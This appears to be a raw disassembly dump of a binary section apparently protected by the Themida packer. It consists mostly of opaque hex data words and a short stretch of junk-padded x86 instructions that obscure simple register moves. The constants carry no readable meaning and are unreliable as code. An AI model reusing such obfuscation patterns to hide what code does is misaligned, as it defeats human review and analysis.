0CB9A3151h dd 33F8D9BDh, 48h, 8299542Bh, 0F6850F4Ah, 1645DDE2h, 8C4A172Fh dd 0FBE1E72Fh, 0F51F1E7h, 40AEB8E7h, 7F424890h, 4D57E503h dd 51337925h, 5C580603h, 0E283183Ah, 7CF8D9D6h, 0EC8AEB4h dd 0B4DC5806h, 0C11F85h, 4A170000h, 1D043388h, 9442C412h dd 0FF162668h, 0ED85E43Fh, 6A092A41h, 0AEC012EAh, 5F367E16h dd 50816FAEh, 0E65BD69h, 1948FB58h, 8835A2AFh, 0FF07CFDCh dd 4C3238D3h, 6051F2E0h, 9CF4A038h, 8B4B5804h, 0CC64577Bh dd 0E5A4647Ah, 0F1E551F2h, 2E9C78CAh, 8B40BCDh, 0CAD018B0h dd 57E7BA31h, 5E2B739Bh, 94468579h, 66C9469Bh, 389F7CCEh dd 65EFA785h, 48323EA8h, 10A3Ah, 437C6000h, 0FEBF14F1h dd 0B803CFACh, 6D4C8966h, 24993E1Bh, 911F99D2h, 48257746h dd 1DE3089h, 0B996E8D7h, 404C9E1Dh, 5CCB2B8h, 0E5E0580Dh dd 894A177Eh, 0DDFA0534h, 7A12AD2Bh, 7B8B4B28h, 5EB6625Dh dd 12BB74C6h, 3E4BF7C4h, 0F9D12398h, 6511AA2Ch, 0A718C00Dh dd 6A74A3FBh, 60C54FCh, 57E5549Bh, 0B009CCA9h, 0D403D018h dd 9F8197E9h, 24580635h, 0EAC109B2h, 70E7410Ah, 0D1E11093h dd 2EDAE3F4h, 8220h, 0A5137700h, 1CE9B1F9h, 92D605B6h dd 57EA025Ch, 2F3CE810h, 0EAC214A7h, 0AC03BA1Dh, 3B9183B0h dd 6B76A5CAh, 0B49AA06Bh, 0C8580D80h, 0E9C008A0h, 0FF204B41h dd 6ED80708h, 0E41F9628h, 32FA1242h, 0D1DC105Bh, 11972809h dd 0C546EF2Bh, 96E8173Fh, 259640F4h, 0D3F906DDh, 6346471Ah dd 8F472434h, 6273802Ch, 3DC935A2h, 4FD1DC40h, 7521B951h dd 28DC7E20h, 0DEBB0DAEh, 917C3F8h, 3, 127DE460h, 3C49F5CAh dd 6875219Ah, 96A34F70h, 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h dd 4A5703B6h, 7A873388h, 33B86459h, 767D68h, 240C8900h dd 5B3768h, 24148900h, 81E78957h, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 6851242Ch, 6C566C4Eh, 81240C8Bh, 4C4h, 0E9814100h dd 663B50BFh, 6859CA89h, 0AD9h, 81242489h, 42404h, 835D0000h dd 148904ECh, 8458F24h, 51242C8Bh, 0C181E189h, 4, 4C181h dd 0C870000h, 34FF5C24h, 0C4835A24h, 5E29E904h, 5325FFF9h dd 177A3C19h, 0B8FD4895h, 61B1F7Dh, 0E0FFC503h, 32E42E66h dd 7D45359Eh, 1E4E1043h, 17F6E4C6h, 3552FC37h, 717A7B05h dd 1EB74961h, 1B431EA2h, 519664BBh, 437C1E94h, 24C91B6Eh dd 25354F8Ch, 34229BC6h, 75FCC10Ah, 7B4BE3F4h, 1085AF3Ah dd 5FF29F38h, 64A6D233h, 470103F1h, 1FE2448h, 0C062839h dd 1BB91C58h, 6348F6B7h, 68ED5AA4h, 24403590h, 1286C62Fh dd 0EE8h, 58841300h, 90277518h, 9670A1C8h, 8B98F420h, 820F5EFBh dd 0 aBM db '│ф)m',0 align 2 dw 0BF66h dd 1F68D73Dh, 6600001Bh, 58EF39BBh, 0BC1DE781h, 36FF589Bh dd 8E9h, 7F58F100h, 54737E5Bh, 81F9596Fh, 0D69B04F1h, 93D78114h dd 81409674h, 515A9FC1h, 0BE9575Bh, 0A8000000h, 2D285ABBh dd 0F12C3CEBh, 815B4EB3h, 0CAD1BC1h, 0E89FC10h, 0CE9h dd 0C513F800h, 0F24CB34Fh, 0CE3FD4F9h, 2EE83A8h, 82EB8160h dd 61472137h, 13E84E4Eh, 8B000000h, 49BB4DFDh, 0A74D1187h dd 0B9430729h, 8AAA102h, 485BE811h, 0FF84850Fh, 0BF66FFFFh dd 0FE8CCD4h, 8D000000h, 0A8484A5Ah, 0FC74651Dh, 7C7E5AD9h dd 0D38B2058h, 0CB8B6658h, 6FDDC081h, 0ECBA0000h, 0BF4338F0h dd 0 dd 8B5AC280h, 0B70F381Ch, 0CAEB81CBh, 0FC608366h, 7C2BEB81h dd 0CE80265Eh, 94F381A6h, 5314A14Eh, 8FD7BF0Fh, 9E93804h dd 12000000h, 2A61FD17h, 0C0ECA379h, 8E95760h, 79000000h dd 2FB6D54Ah, 5A3E6E56h, 61FA8B66h, 8B04EF83h, 0B0FF81CFh dd 0FFFFF90h, 0FFFFAA85h, 0EE9FFh, 0A7440000h, 3485C9B6h dd 3B9A5C25h, 7C60BDBFh, 0BD83C08Bh, 61430B1h, 83097500h dd 141AE1BDh, 19740006h, 0C08B5350h, 421B8h, 49858900h dd 8D06141Ah, 16B73A9Dh, 5BD3FF06h, 0E1BD8358h, 6141Ah dd 53501774h, 421B8h, 49858900h, 8D06141Ah, 16B4299Dh dd 5BD3FF06h, 8BC08B58h, 1424F99Dh, 5985C606h, 5606141Ah dd 0A8B85268h, 0D1B5FF9Ch, 8D06141Ah, 1780DB85h, 6AD0FF06h dd 10006804h, 0B5FF0000h, 6141911h, 0D0FF006Ah, 850FC085h dd 0Dh, 0B8h, 0F08D8D00h, 0FF061470h, 8BC88BE1h, 3C4003C3h dd 0F805h, 0C508B00h, 0BD83D303h, 6141135h, 0E840F00h dd 8B000000h, 1411359Dh, 0AD858B06h, 89061421h, 8D525103h dd 14798985h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h, 5985C6A4h dd 5606141Ah, 1F6D3968h, 0D1B5FFD4h, 8D06141Ah, 1780DB85h dd 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h, 1430B1BDh dd 9750006h, 1AE1BD83h, 74000614h, 8B535019h, 421B8C0h dd 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh dd 6141AE1h, 50177400h, 421B853h, 85890000h, 61430C1h dd 0B4429D8Dh, 0D3FF0616h, 0C08B585Bh, 11359D8Dh, 38B0614h dd 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h, 0AE8h, 9A0FDE00h dd 27739F6Ch, 52DFC88Eh, 5ED2B70Fh, 53EE8058h, 6B1BC081h dd 80BA0000h, 0BB6CE326h, 1A9Fh, 0A870Fh, 8B600000h, 65E781C8h dd 6126640Fh, 5FFC30FFh, 0EF815BB2h, 692B7349h, 89C6B966h dd 377C781h, 810F1C64h, 0Ch, 6820Fh, 8A0F0000h, 0 dd 0C9F7C781h, 0F56058C5h, 5E9h, 9D937A00h, 5761367Fh dd 0E04BF681h, 8F5B22h, 0E881C5B1h, 59712865h, 6880F51h dd 0F000000h, 81h, 0C0815900h, 59712861h, 4BF9DA80h, 0FF96850Fh dd 0D281FFFFh, 3E698B95h, 0BE8h, 114D2300h, 6424CC3Bh dd 84D87714h, 575810B7h, 5BD0BF0Fh, 0E1DEC081h, 0F9510000h dd 0F22FBF5Eh, 0C7810599h, 0FA664622h, 11E9h, 78812C00h dd 0B6E7C53Bh, 0B772D309h, 920399DEh, 88BBA1Bh, 0FD692BBAh dd 9AF1810Ah, 0E964E3ECh, 0Bh, 0A279CB13h, 0F55E9923h dd 81D7B95Eh, 579B5CC1h, 58A0F0Fh, 66000000h, 35FAC381h dd 4C81F181h, 5E8255Fh, 1D000000h, 98F5481Dh, 0ECACBA66h dd 0B70F515Bh, 83008FDFh, 0F78B02E8h, 81664848h, 83930FD6h dd 850F01EFh, 0FFFFFFA2h, 0E9D68B66h, 22h, 45A39C40h, 7 dup(0) dd 1BE90000h, 0AA000005h, 5E3B8D32h, 19F64875h, 0D3B002B9h dd 8865B702h, 0E31C6E4Fh, 0C1FCDBD5h, 7A3F926Fh, 328D4B28h dd 0E8D303E0h, 0FC028A96h, 580D0C16h, 17C82F2Ah, 7AA7E40h dd 76CD74F7h, 88F921F8h, 0EEF92838h, 1A27D3E8h, 0D6AE00BDh dd 0C27923FFh, 165E77C2h, 0F2912A10h, 0E7163E51h, 15C1FADCh dd 41EDCE08h, 54656C39h, 54B91A25h, 0F291684Eh, 0BC547C51h dd 14369A10h, 4606F6E0h, 62F9B25h, 6E335CDh, 0BE9BEDD2h dd 905DA51Ah, 71C97546h, 6CBD842h, 5CB207B3h, 0C9A88E94h dd 94BC51F2h, 0BD771365h, 7552A41Bh, 8F2EA561h, 71348BE3h dd 0E2A8F2F5h, 4B1860F8h, 2B832F8Ah, 19C5FADEh, 0E22892C1h dd 51F228FFh, 0B02B677Bh, 0FEEDB0B5h, 4C49h, 0C4126000h dd 76434BF7h, 0E82C5B60h, 51F1E804h, 0B72C6E82h, 0FEEDF1AEh dd 150h, 0C1126700h, 7B4850FCh, 2B366558h, 5C6915A8h, 87944079h dd 0B6C36F4Ah, 0CFEEE91Bh, 0B5198B37h, 0FA5E1495h, 8E2FA458h dd 8F775F3Ch, 89DB7346h, 0F8C512D0h, 0FCE2E8B0h, 1051F1E7h dd 424FB9E8h, 0E802C91h, 8354E8AAh, 0CB0BE83Ah, 743C44F0h dd 0F1E8886Eh, 45749C51h, 0DB23983Ah, 769A9504h, 0F524218Ch dd 0A0E2048Bh, 0ED2F4A2Bh, 6A6734FEh, 1C4BA34Fh, 79B6h dd 4A17CD00h, 0F8033287h, 2A32DEDFh, 9945745Dh, 0CB071241h dd 0E8543A40h, 406851F1h, 0E9EFFCA8h, 1C222AD6h, 51F1E836h dd 0FED5224Ah, 3DA113BFh, 0CEE69C1Dh, 0B9CEAF7h, 0A5F2E9D2h dd 87DF8B32h, 0B0440658h, 6C449627h, 7CE369Fh, 166E1AB2h dd 0C2FBDCE7h, 0EDCC0916h, 0FA98BA41h, 0ED7794E1h, 488AFEh dd 12A10000h, 3F4CF8C5h, 467A2699h, 0CB0C2062h, 8C249B3Dh dd 0C112813Ah, 270A50FCh, 0A351F1E8h, 5A3C13DBh, 0AC541BEAh dd 62E8CE54h, 0D4FC51F2h, 23753A5h, 0A65CA235h, 30C48795h dd 0A91544DCh, 0FEED01BCh, 142h, 0C0125900h, 1EEBB3FBh dd 997F05BAh, 0AD51F1E7h, 0DFEC5685h, 0C318C4F7h, 7CB6121h dd 0C28A62B4h, 0F1E7D6BCh, 93C2EA51h, 2B731B89h, 0E5030E25h dd 0B05C8457h, 408833A3h, 0AD596473h, 0BE566596h, 7008C1B8h dd 82543141h, 0B224F139h, 0D6055D09h, 942266Ch, 0C0A45806h dd 4F6C6A82h, 53393F07h, 67580609h, 2300103Fh, 0E9C008B3h dd 0BC7AA59Fh, 63CDFC92h, 73488E5Bh, 1E9D3944h, 49706572h dd 7841909Dh, 96B498CCh, 9A46735Eh, 0E0F8AA42h, 4FFBBE13h dd 7B5AA0F7h, 87A269ABh, 0B5440658h, 6501E7EDh, 8D935806h dd 580664A7h, 0A5CD93BBh, 506B6B76h, 74A5C0FEh, 0E59F8D9h dd 70000001h, 0B1F9A513h, 1DC9F2E4h, 0E8290F15h, 153D51F1h dd 42484E7Dh, 57E50E0Bh, 0E5ED99C1h, 0D302BB18h, 5BAD0EC8h dd 0B763587Eh, 0E38F2CAAh, 0BC4D0D71h, 0A7D6E9EFh, 2F813A9Ch dd 0B5498A57h, 7376EBFBh, 0EB972F35h, 6DF86493h, 91F8D9E5h dd 2Fh, 0F8A613A8h, 0E7E4AAB0h, 90B8D1F1h, 0C70FDCE4h dd 8F27923Fh, 0E8361C60h, 96BAD1F1h, 2ED441F4h, 0E81AE0E6h dd 0C6EE51F1h, 8F9674h, 13ED0000h, 0ABB1F9A5h, 57E510F0h dd 0BDCA769Eh, 7850A219h, 0F0C4AAB0h, 0B0D85805h, 5B607681h dd 0F28869AFh, 4CE45805h, 0F1987E84h, 0D4AC5805h, 5F1E8CEh dd 3CD4FC58h, 659FBB0Dh, 35024A71h, 5069689Ch, 85B40CB8h dd 832B9975h, 15E2353Bh, 0A8D05DFEh, 0E61DF4FCh, 0E6D23B6Ch dd 0BE182352h, 0A6FC51FDh, 12BEFDD9h, 19398BBAh, 0C11576E4h dd 932B9245h, 0F1E6B3FBh, 65587FCCh, 2C3261B9h, 1988D326h dd 0E3E9C164h, 643C89FDh, 0FF51E911h, 0F9A51346h, 0B58ABB1h dd 1E4657EAh, 4A716572h, 0E2FF2B02h, 1C22475Eh, 0B7691688h dd 8AB951FCh, 82399D7Ah, 885A90D6h, 0BA1E1B64h, 3B9C6998h dd 317ED682h, 0DCE716A5h, 0A279C1FAh, 0FF9D0C4Ch, 0C2D201C6h dd 361C22EAh, 4A9BC686h, 0EEE8F322h, 0C11421CDh, 7F2B8E43h dd 8EE38F27h, 4096AEECh, 0DEF90BC6h, 939B47DFh, 0C685A78Dh dd 0FB93BB9Bh, 0FD952AAEh, 0B308CEABh, 0B79DA36Bh, 0CB9BC685h dd 2CD8E5EEh, 0A30D3CD4h, 395h, 7DE4EC00h, 49F5CA12h, 75219A3Ch dd 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h, 5703B61Fh dd 8733884Ah, 0B864597Ah, 578E6833h, 2C890000h, 391E6824h dd 2C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h, 52240489h dd 46754B68h, 0E2815A5Ch, 674077B8h, 5190F281h, 8152425Bh dd 4A89242Ch, 815D57D5h, 0D54A89C5h, 28685A57h, 89000010h dd 4832424h, 68580424h, 6AB6h, 8F242C89h, 48B0840h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 5D2434FFh, 4C481h dd 74E90000h, 0D5FFF954h, 0FD25F7E0h, 2AB898F7h, 3061B29h dd 0B1E0FFC5h, 0ED18A655h, 46E5541h, 504F5CE4h, 675D7D95h dd 0EA36EF4Eh, 0B57318E4h, 5A0F5C02h, 0A2066662h, 46172BA5h dd 817FA499h, 0D2557ECAh, 481281CEh, 407DA327h, 0E275C051h dd 4B39A11Bh, 195298D4h, 843ECB23h, 0FE2B9660h, 3456A7BBh dd 0C4029947h, 427B3091h, 0E971CA47h, 3Bh, 79BD8B60h, 8306140Ch dd 0C93304EFh, 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h dd 23D21BE8h, 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h dd 0F000001h, 0FFFFD382h, 8BC361FFh, 0E59D8DC8h, 0B8061413h dd 13A8h, 1B698589h, 0E80614h, 58000000h, 0D05h, 0E9038900h dd 13A8h dword_5BB658 dd 4E8h dup(0) ; DATA XREF: Themida_:00549FC4o dword_5BC9F8 dd 2 dup(0) ; DATA XREF: Themida_:0054C040o dd 52510CEBh, 9BF313D8h, 2C165DEEh, 0EEE9E150h, 0E9000005h dd 5E2h, 0DC2E914Bh, 97E9D4FFh, 51A318BAh, 6586174h, 0BD0FAE29h dd 5B7C3484h, 9E331062h, 0ECECC91Bh, 32A481D3h, 0A32B3789h dd 0D25B79Dh, 69D0CB58h, 4BF7C412h, 79259A3Eh, 0A854656Ch dd 6CC3C9Bh, 0E819FF05h, 52D51F1h, 391F256Dh, 4D51F1E8h dd 0D4E18D25h, 0E370FB03h, 6A378171h, 1FB74F6Ch, 4A6F6673h dd 7A41919Eh, 7E646A32h, 9251F1F9h, 0C4D13B6Ah, 9E66AE0Fh dd 309951C7h, 5DE3F943h, 51F2A177h, 0CA34638Bh, 0EAF050BEh dd 51F2A104h, 1058F018h, 0FE2D9043h, 0DEEDF2F8h, 173F57EAh dd 47745E6Bh, 19A632FFh, 0D6E6156Dh, 36E2D9F9h, 0D1F63AF0h dd 0F89AFE4Dh, 0E52D8E44h, 6343BB18h, 0BF720224h, 0B20AB64Eh dd 29977383h, 0AA663D85h, 366B872Eh, 0E141A49h, 73C936F5h dd 7E8B375Fh, 3613655Ah, 8D51DA2h, 0ED96EDCEh, 380C46CAh dd 0C50B75A4h, 2F7F1ACAh, 0B323F008h, 4E545C08h, 0CFE21B68h dd 8DBC547Ch, 0F3E51F3Bh, 1EB784CCh, 6897EF9Bh, 620E7C58h dd 6619141Ah, 1F47D5D5h, 263800D7h, 4228E6C9h, 8163A913h dd 8CD5F6A0h, 2E8EEB6h, 16D5F6A0h, 89219839h, 514A085Ah dd 7AE93A14h, 359734Ah, 6C0F5488h, 0ED73Dh, 2CF0000h, 0E43CE8D5h dd 7011CEB5h, 68000003h, 823AC612h, 0F9125FE4h, 36E2D9FDh dd 0F8FE46DEh, 51F2C012h, 0BA66FE26h, 0EA9625ADh, 5A92B0D4h dd 17EF417Eh, 603D8740h, 4675E6EDh, 76229D3Bh, 0B5D78D28h dd 46795F95h, 7D451CF4h, 0EFA11483h, 0CB071241h, 9E3744F0h dd 0C41A6F1Bh, 93DBDEF7h, 0F275A78Dh, 6493BB51h, 0F9C17012h dd 0F2760DF3h, 83389A51h, 0D2B97FD7h, 0E141A460h, 78A73F5Ch dd 456656Dh, 0A968C9EEh, 0BA03D4D1h, 0D632A572h, 7622BAFFh dd 2DFEF1Eh, 313EEACFh, 0A25B5AA0h, 0EAA5CA18h, 9A3D0A52h dd 0BD02D623h, 208AB911h, 4FFBBE13h, 7C289542h, 2FC58527h dd 0CB8119A4h, 0C0112B67h, 0C4C9A7F9h, 20000000h, 50FCAA13h dd 0D6289343h, 9AE2D9F9h, 0E7E6CCD2h, 0D2FA51F1h, 0E79E848Ah dd 8AB251F1h, 0C5ABF15Bh, 0A51F1E7h, 0C0122A68h, 5CCA9FBh dd 0DBFB08B4h, 5ABE34E0h, 37CD0438h, 1B731F9Ah, 7D543183h dd 262CF43Ch, 51F1E840h, 316750C3h, 0D298A508h, 4117BAAh dd 0E93EEAD3h, 2EF60B47h, 0F2644228h, 0FF2E5651h, 8ADCDDF4h dd 4B932AADh, 0B763587Eh, 2B11175Fh, 3F51F264h, 307EE817h dd 0C9F2E492h, 0FAC3101Dh, 14361A4Eh, 6441695h, 0F68A1CF3h dd 863EE66Bh, 0F01F9E39h, 151BF2E5h, 51F2A92Fh, 31831B43h dd 8F3B8454h, 0F2A96649h, 7047CD51h, 7BB07C37h, 2A7CAB79h dd 0BB04D468h, 8A2FA673h, 17924B5Bh, 2318E4Ah, 32DEE1F7h dd 9A4DB325h, 1FCE47B6h, 0B022CE66h, 2EFB0E4Ch, 0DBE615AAh dd 0F5C40DFDh, 759F149h, 0F2BF22F1h, 58677151h, 0EBC54ACh dd 0FEED1658h, 0FFFF03A8h, 4A17BFFFh, 2A822E8Bh, 0DB83F1FBh dd 10D28D93h, 588057E5h, 2A954310h, 8DF7267Eh, 13655680h dd 876D733Bh, 195805F0h, 5F12D13h, 53194158h, 0F08F757Bh dd 7BA35805h, 2DA9B4E3h, 0D5E28Eh, 0D5000DB9h, 0AD2B38E4h dd 4E326612h, 0DFF7AD0Ch, 0CAF9C612h, 0B422DA78h, 0E3F2BF07h dd 0A3D22AD6h, 0DC20B693h, 5618A057h, 6EB64EC9h, 4B7BEA97h dd 2554D2F4h, 0F49275BBh, 50B45805h, 2FDCFA32h, 5F54329h dd 0B801D058h, 0E032CAF2h, 0A433D303h, 0CDD58119h, 3EEAD300h dd 3FADB7E6h, 4641478Fh, 0F25DF940h, 0B209B025h, 0D9E25CDh dd 0E26695BFh, 9C9B72BAh, 23935D0Dh, 12EEFE2Dh, 0E7B4FCA4h dd 0C921CDF0h, 718E949Ah, 0E36412E7h, 0D6020FBBh, 0E84D3339h dd 0D9DF6435h, 6435E7F3h, 0F119DF07h, 0AE2A0759h, 691F6511h dd 8D59F9FFh, 1E7EDB5h, 9379F9DFh, 0F9DEA78Dh, 0CD93BB79h dd 662476A5h, 63B50ACEh, 0C26E4B86h, 0F09C23B5h, 900B4769h dd 0D6E5FAD5h, 9E29h, 0C1124000h, 5CDAAFCh, 37A16EB6h dd 6C495988h, 21FE5069h, 0F4BF48B6h, 9F4B7062h, 0ACBBF047h dd 240153EBh, 0DBB80AB3h, 9471C3F6h, 4C297B44h, 2DF318Ah dd 4C3238D5h, 6051F26Bh, 0B8F4A038h, 0F6FCC4CCh, 51F26B10h dd 0C2CDFC24h, 0DCE1F214h, 0A1439844h, 308B4BE1h, 0F9DF2C84h dd 46C21AC6h, 0AF0F6BEh, 9751F26Bh, 78D07C3Fh, 555B8AB2h dd 0F26B694Fh, 3557D51h, 6B3F252Bh, 765351F2h, 5CB4605Dh dd 4E5C48C4h, 70h, 736CB0A5h, 0CE51F1E8h, 6A806E2Ch, 0DA86359Dh dd 126C5382h, 0ECB4FCC1h, 0F1E800E6h, 0BDEC1451h, 0B902D0ADh dd 0AF4B8A67h, 0E28282E3h, 0D426BE1Bh, 1C1EE0F7h, 2D07E5AAh dd 0D2AF0199h, 0E7D20305h, 0F94BE33Bh, 0B204B51Ch, 74BC03D5h dd 7C36A59Dh, 3B9AB16Fh, 0E27AD27Eh, 10C6A3B3h, 0D7B59ABh dd 0B3000000h, 35FFE5EBh, 0EB1351F2h, 7DE4D5BCh, 49F5CA12h dd 75219A3Ch, 0A34F7068h, 0D27E3B96h, 0FFAB12C5h, 2CD8E5F2h dd 5703B61Fh, 8733884Ah, 0B864597Ah db 33h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push 1777h mov [esp], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx push 61B3E39h mov ebp, [esp] add esp, 4 push esp mov ecx, [esp] add esp, 4 push esi mov esi, ebp push esi sub dword ptr [esp], 20942F81h pop dword ptr [ecx+8] add dword ptr [ecx+8], 20942F81h pop esi mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- dd 9B32F482h, 0EB013348h, 8AB8E930h, 3061B43h, 55D38BC5h dd 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 1F44FD49h, 36BAFD21h dd 21FBFD21h, 0AB59FD21h, 6E4BFD21h, 8C21FD21h, 0FD0EFD21h dd 45EFFD21h, 19DAFD21h, 3601FD21h, 21DEFD21h, 0AD33FD21h dd 6E9CFD21h, 8D7DFD21h, 0FC5EFD21h, 431AFD21h, 1F6EFD21h dd 259DFD21h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh dd 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh dd 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 9776FD7Ah, 1475A628h dd 0CB75A629h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h dd 62F0701Ah, 0A673E632h, 8C318EFFh, 99F0707Ch, 6C73E632h dd 0E931CEFFh, 0E9F0707Ch, 3573E632h, 453192FFh, 0DFF0707Ch dd 1E73E63Dh, 0D031CAFFh, 4AF0707Ch, 7B73E63Dh, 6231C6FFh dd 0F1F0707Ch, 0D773E63Ch, 3431C2FFh, 0C8F0707Ch, 4273E63Ch dd 0FE31BEFFh, 87F0707Ch, 0F073E63Ch, 0A731BAFFh, 8EF0707Ch dd 0A673E63Ch, 8C31AEFFh, 57F0707Ch, 6C73E63Ch, 0E931B6FFh dd 0C2F0707Ch, 3573E63Ch, 4531B2FFh, 0FFF0707Ch, 1E73E63Ch dd 0D031AEFFh, 0EFF0707Ch, 7B73E63Dh, 62319EFFh, 95F0707Ch dd 0D773E63Dh, 34319AFFh, 0DBF0707Ch, 4273E63Dh, 0FE3196FFh dd 67F0707Ch, 0F073E63Dh, 0A731AAFFh, 92F0707Ch, 0A673E63Dh dd 8C31A6FFh, 0ACF0707Ch, 6C73E632h, 0E931A2FFh, 14F0767Ch dd 3573E95Bh, 453151FFh, 0AF0767Ch, 1E73E956h, 0D0314DFFh dd 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 0F9B517FBh, 0D525FB61h dd 0ADFDF53Fh, 916EB9D1h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h dd 7975FD7Ah, 5D987C27h, 0A073E63Fh, 3431CFFFh, 0A5C87D7Ch dd 0CF73E63Eh, 0E4C5B409h, 0F9B54B75h, 863589BAh, 0A7314DEFh dd 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD6EB9CAh, 0A14648F7h dd 0C6F8FB61h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah dd 916EB9CAh, 8F4648F7h, 0D1F8FB61h, 228A50FCh, 87BC1F23h dd 0A731CFF7h, 52DA07Ch, 0EC2CA320h, 97776D92h, 0C1CD4D7Ah dd 708A5779h, 0F46EB9D6h, 79D3ED1h, 0DA75FD78h, 54CD9BC2h dd 0D0DE9B59h, 8C3151EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah dd 866E8872h, 0A73151EFh, 54C54D7Ch, 0BA8AAD79h, 916EB9D6h dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh dd 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h dd 0B5FF4DBAh, 0B6D96885h, 1F2FFB61h, 0DA51FD5Fh, 0F5133F71h dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h, 0F22D157Ah dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah, 0E575FCF3h dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 62314DEFh dd 0CBC0707Ch, 5D73E63Eh, 2C7F518Ah, 3BE002D0h, 873E63Eh dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h, 0FDCD9B85h dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h, 3C225792h dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh dd 5E750592h, 252D4D7Ah, 69B65779h, 0D031D4FFh, 0CCC87D7Ch dd 0F373E63Eh, 0FCF8EC0Fh, 0BA6EB9E1h, 5C61152Ah, 1B9DFD7Ah dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh dd 0A731D4F7h, 77C87D7Ch, 2F73E63Eh, 12F8F10Fh, 0CD6EB9E1h dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0F8C56885h, 0C3F8FB61h dd 296EB582h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 296EB9D6h, 96514ACEh dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 0D03151EFh, 0EA917D7Ch dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F46EB9CAh, 3DFA60F7h dd 0A0F8FB61h, 4ECD3E39h, 0D075FD7Ah, 8C314DEFh, 0CEB57E7Ch dd 1A8935F1h, 0E93151EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 667D17FBh, 0EAFCFB61h dd 60CF7D86h, 0E573E63Eh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah dd 45314DE8h, 0ADFCBD7Ch, 916EB9CEh, 79F835F1h, 0E36EB4A6h dd 0B6D96F85h, 7FFDFB61h, 4801F3Ch, 5E75FD6Dh, 6BC17F79h dd 1A35FB61h, 0D03C2DE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h dd 0F8C17779h, 0ECF8FB61h, 296EB4C4h, 2F2B5989h, 0CB75FD72h dd 0A1C56F85h, 0AF6FB61h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah dd 162FFD7Ah, 0D03C1290h, 5DCF707Ch, 7973E63Eh, 71CCF50Fh dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 8C3145E7h, 0D3497D7Ch dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah dd 655D17FBh, 25F8FB61h, 0CD6EB9C2h, 5C7D80F1h, 0F275FD72h dd 0B0145989h, 0DC75F9B8h, 1ACD40F7h, 0EF46FB61h, 9775F5C3h dd 